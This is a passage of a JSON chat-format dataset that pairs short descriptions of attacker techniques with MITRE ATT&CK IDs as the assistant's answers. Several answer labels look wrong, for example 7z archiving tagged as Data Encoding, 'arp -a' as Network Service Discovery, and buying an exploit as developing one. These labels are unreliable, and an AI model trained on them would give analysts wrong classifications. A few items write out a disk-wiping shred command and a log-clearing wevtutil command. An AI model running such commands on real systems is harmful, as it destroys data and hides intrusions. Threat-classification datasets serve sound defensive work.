                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by abusing the Windows Management Instrumentation (WMI) __EventFilter and __FilterToConsumer bindings."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a dropper within the audio track of a benign MP3 file, using steganographic techniques to evade detection before the payload is extracted on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code abuses a container escape vulnerability (CVE‑2021‑XXXX) to gain host-level privileges."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan encrypts its configuration file with a custom algorithm, then stores it in the registry."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised VPN server as a proxy, the attacker masks the IP address of malicious traffic originating from the victim network."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exfiltrates data through a compromised third‑party API, embedding the payload in API request bodies."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By invoking regsvcs.exe with a malicious assembly path, the adversary achieves command execution while appearing to use a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A destructive worm spreads across the network and uses `shred -v -n 3 /dev/sdb` to securely erase each block device."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Log files were erased by running \"wevtutil cl System\" command."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a PowerShell command to truncate the transcript and clear command logs."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor develops and distributes exploit kits for newly discovered vulnerabilities before patches are available, selling them on the dark web for use in privilege escalation attacks."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a legitimate tool’s name to \"calc.exe \" (space after .exe) to disguise malicious code in plain sight."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injects malicious configuration data into a cloud storage sync operation as files are uploaded."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a credential dumping tool to retrieve private keys from the Windows Credential Manager and uses them to authenticate to remote services."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase a zero‑day exploit for a popular Linux distribution to broaden their exploitation capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a prerecorded message, the threat actor lures victims into revealing sensitive information by claiming a security breach."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InstallUtil is executed with the /LogFile and /LogToConsole options pointing to a malicious assembly, allowing code execution without writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a stolen KRBTGT hash to forge a Kerberos ticket that provides unrestricted authentication rights across the entire domain, a classic Golden Ticket attack."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses existing domain accounts to execute commands on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat mines public code repositories for reusable code snippets that match known malware patterns."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'arp -a' command to discover other devices on the local subnet."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans the system's package manager (e.g., dpkg or rpm) to list all installed software packages on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new botnet client identifier in the victim's IoT management platform to issue commands."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor creates a rogue domain controller that replicates authentication requests, allowing them to issue valid tickets to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key to discover persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is launched by exploiting process doppelgänging, which leverages Windows kernel calls to run a payload hidden within a transacted file."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor executes \"cat /etc/os-release\" to determine the Linux distribution name and version on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A dropper drops a malicious .lnk file that displays a common application icon; when the user clicks it, the hidden script performs privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish an encrypted TLS tunnel to hide C2 traffic from network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a serverless event trigger on a cloud storage bucket to execute malicious code whenever a file is uploaded."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses active directory queries to gather domain trusts and forest information."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries searched closed-source academic journals for technical papers related to the target's proprietary technology."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder replaced the auditd binary with a trojan that disables logging functionality."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor establishes a new local account with elevated privileges for later use."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the COR_PROFILER setting to load a rogue profiling library, achieving persistence and code execution on the target host."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up fake LinkedIn pages, populating them with realistic work histories to lure victims."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows API function GetPasswordPolicyInfo to gather password history and reuse limits."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts its outbound communications with the attacker using the victim's public key, ensuring only the attacker can decrypt the messages."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors placed a malicious ASP.NET page that functions as a web shell, allowing them to browse the file system and run PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the 'Driver' property of the PnpEntity objects via the SetupAPI to discover drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT exploits ACLs by adding the 'Everyone' group with write permissions to a shared network drive."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the system's keychain (on macOS) for stored Wi‑Fi passwords and saves them to a local file."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a command that gathers information about all connected USB peripherals for later data theft."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised router alters FTP commands mid‑stream to redirect files to a malicious host."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a new local user with the description 'system maintenance' to blend in with legitimate accounts."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the victim’s Wi‑Fi hotspot to send stolen files to the attacker’s device over Bluetooth."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a spear‑phishing email with a malicious .docx attachment that, when the user opens it, drops and executes a payload on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate stolen data by staging it on a compromised server before downloading it."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses a vulnerable domain registrar API to add malicious TXT records that facilitate data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the mstsc utility to establish a remote desktop session for lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromised an AWS EC2 instance and accessed the instance metadata service to retrieve temporary IAM role credentials, which they used to enumerate S3 buckets and launch further attacks."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s payload delays API resolution by loading the required DLLs only after a specific trigger and then using GetProcAddress to obtain function pointers."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modified a legitimate signed binary, then re-signed it using a self‑generated certificate that was added to the trusted root store."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a VBS script that uses the .CaptureScreen method of the WScript.Shell object."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A data exfiltration tool replicates to any detected external drives, encrypting files on the host and then copying the encrypted payload onto the removable media for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary conducts exhaustive searches on paywalled academic journals and proprietary threat feeds to gather intelligence on the organization."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set uses WMI to monitor registry changes and runs a backdoor executable automatically when a target key is modified."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool disables the System Restore feature, clears volume shadow copies, and blocks recovery options."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT exploits a temporary file in /tmp as a rendezvous point for two malicious scripts to communicate."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A misconfigured serverless function allows public internet access, enabling attackers to invoke it without authentication."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a DLL that first decodes a compressed payload using the LZNT1 algorithm before injection."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a malicious PowerShell command to read and exfiltrate saved credentials from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages BloodHound's collection methods to map all domain groups and their member accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group scanned pay‑walled market analysis reports to discover financial vulnerabilities of the target firm."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the default 'admin' account on a Windows server that was never changed after deployment."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes creating dummy service accounts that are later used to exfiltrate data via scheduled jobs."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs token impersonation by dumping a service account's token and using it to access sensitive resources."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script runs 'sc config' to set the service's binary path to a remote UNC share hosting the payload."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised SIP component is used to subvert the OS's trust chain, enabling the execution of unsigned malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a stolen IAM user password to log into the victim's AWS Management Console and create new admin users."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects a rogue code‑signing certificate into the system’s certificate repository to authenticate future payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised insider copies a user's logon token from the registry and leverages it for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a series of misconfigured proxy services to bounce command-and-control traffic through multiple hops, evading network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that automates CLI commands on a network switch to disable port security."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat compresses and encrypts data with 7z and stores it in a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors register a __EventFilter__ and __EventConsumer__ in WMI to execute a payload whenever the system logs a specific event ID, leveraging T1546.003."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
